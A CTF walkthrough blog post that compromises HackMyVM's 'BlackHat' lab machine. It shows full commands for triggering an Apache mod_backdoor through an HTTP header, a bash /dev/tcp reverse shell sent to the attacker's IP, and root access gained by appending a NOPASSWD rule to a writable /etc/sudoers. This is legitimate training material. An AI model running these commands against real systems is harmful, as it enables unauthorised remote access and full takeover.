August 27, 2026
BlackHat CTF Write Up— HackMyVM
A complete walkthrough of the BlackHat machine
By kuro
6 min read
Introduction
Today we'll be exploiting "BlackHat", an easy Debian-Based Linux machine from HackMyVM. Initial enumeration of the accessible webapp at port 80 we uncover a backdoor module (mod_backdoor) left by previous hackers embedded in the Apache service. Exploiting this backdoor grants us access to a reverse shell as the user www-data , further privilege escalation via a broken su command lands us on the user darkdante where we grab the first flag. One last vertical privilege escalation via a misconfigured /etc/sudoers file that our user has write access to lands us in the final root shell.
Host Discovery & Enumeration
After setting up the machine in VirtualBox ,we need to find the IP address of the target machine.
I use nmap for this job:
sudo nmap -sn 192.168.40.0/24sudo nmap -sn 192.168.40.0/24This shows the target IP is 192.168.40.8
Now scanning for open ports, since it is a local machine we can scan all possible 65535 tcp ports using nmap:
nmap -p- 192.168.40.8nmap -p- 192.168.40.8
We see that there's only one open port running an http service, let's scan it more:
nmap -A -p 80 192.168.40.8nmap -A -p 80 192.168.40.8
The result shows it is running an HTTP server using Apache 2.4.52, which doesn't have any glaring public CVEs we can use for immediate exploitation. However, there is one interesting return: the title shows that this web application was defaced by a hacker group. Let's explore the web application directly.
Web Enumeration (Port 80)
First we visit the web application in our browser. We are greeted with this page:
A casual look of a defaced web page by hackers, but there's something that caught my attention, when trying to do ctrl+u to check the source of this page, I couldn't. This means that there's something stopping me from doing that. To bypass this, I used curl to get the raw html from this page:
curl -v http://192.168.40.8/curl -v http://192.168.40.8/With this I was able to see the source code, and with that I saw a few interesting things.
First was a javascript that restricted the use of the ctrl shortcut.
This explains why we can't see the source code from the browser in a normal way.
But there's something else that was equally interesting.
A hidden div tag that represents a note telling to check a backdoor (misspelling it as 'backboor' maybe on purpose) this was likely left for other hackers from that same organisation that hacked this web application before us.
Thus we'll try to find this backdoor hidden in this web application.
First we'll try webfuzzing for directories and files that might be on the server:
ffuf -c -ic -v -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -e .html,.php -u http://192.168.40.8/FUZZffuf -c -ic -v -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -e .html,.php -u http://192.168.40.8/FUZZThe only interesting file that pops out after this fuzzing is phpinfo.php .
This file is not usually shown in a publicly interfacing server as it shows all the configuration of the Apache service but it is how we find our backdoor.
Inspecting this file we find that there is a loaded module which is not standard in an Apache webservice we can see it under the "Loaded Modules" section in the configuration section in The Apache Handler.
This loaded module is called mod_backdoor the naming alone tells that this is supposed to be some sort of backdoor, and looking it up online shows that it is. This mod is an Apache backdoor made to be injected into the apache service when running forking the process and can create a reverse shell.
Initial Access (as www-data )
It took me a while looking for online exploits for this module, but after a while I found a python script in this github repository:
GitHub - WangYihang/Apache-HTTP-Server-Module-Backdoor: :japanese_goblin: A Simple Backdoor For… japanese_goblin: A Simple Backdoor For Apache HTTP Server - WangYihang/Apache-HTTP-Server-Module-Backdoor
Reading the python script, it shows that to activate this backdoor we need to send an additional header to the main page of the web application, this header is: "Backdoor: value"
So trying a very fast Proof-Of-Concept:
curl -v -H "Backdoor: id" http://192.168.40.8/curl -v -H "Backdoor: id" http://192.168.40.8/
It works, now the job is to set the reverse shell and the listener.
On our machine we run:
nc -lnvp 4444nc -lnvp 4444We send to the web application:
curl -v -H "Backdoor: bash -c 'bash -i >& /dev/tcp/192.168.40.10/4444 0>&1'" http://192.168.40.8/curl -v -H "Backdoor: bash -c 'bash -i >& /dev/tcp/192.168.40.10/4444 0>&1'" http://192.168.40.8/Bingo we get the reverse shell in our machine.
Time to upgrade the shell into a more interactive one.
In the reverse shell as www-data :
python3 -c 'import pty;pty.spawn("/bin/bash")'python3 -c 'import pty;pty.spawn("/bin/bash")'Then use ctrl+z to background the reverse shell, then run:
stty raw -echo; fgstty raw -echo; fgFinally run in the reverse shell after it comes to the foreground:
export TERM=xtermexport TERM=xterm
All this create a fully interactive tty shell.
Privilege Escalation www-data to darkdante
Checking the id of the www-data user, nothing interesting comes up.
I checked /etc/passwd to see all the available users on this linux machine. I saw a user called darkdante , this might be our first one to target.
I tried a random command su darkdante , in normal settings this would've failed but somehow it worked and got the shell of darkdante , with it we gain access to the first flag.
This was likely due to a severe misconfiguration allowing www-data to run su without authentication.
Root Privilege Escalation
Checking this user's ID we don't find anything interesting.
sudo -lsudo -l
I tried using this to check if darkdante can run any sudo as root but it's not possible.
So I moved to finding strange files that our user have writing access to or can run like SUID binaries.
find / -perm -4000 -type f -exec ls -ld {} + 2>/dev/nullfind / -perm -4000 -type f -exec ls -ld {} + 2>/dev/null
No out of the ordinary files are shown here, just the default linux SUID binaries.
Then let's move to checking other types of files.
find /etc /opt /var/www /usr/local -writable -type f 2>/dev/nullfind /etc /opt /var/www /usr/local -writable -type f 2>/dev/null
This file is actually very intriguing, as by default no user other than root should be able to edit /etc/sudoers .
ls -la /etc/sudoersls -la /etc/sudoers
Checking the normal permissions on this file, we see a plus sign at the end, this means it has an extended access control list.
Thus to check it we use the command: getfacl <filename>
getfacl /etc/sudoersgetfacl /etc/sudoers
We see that our user ( darkdante ) has a read and write access to /etc/sudoers shown by the rw- flag next to the username.
This is our privilege escalation vector, to exploit it we simply run in the terminal:
echo "darkdante ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoersecho "darkdante ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoersNow we check if this worked.
It did. Now we have access to run everything with no password required.
Note: In a real-world scenario, it's always safer to use
visudoto edit this file to prevent syntax error from locking you out of the sudo entirely. However, in a CTF environment, theechoappend method is fast and effective.
So we just simply run:
sudo su -sudo su -
And we're done. We got access to the root shell, with it we gain the root flag and finish this CTF.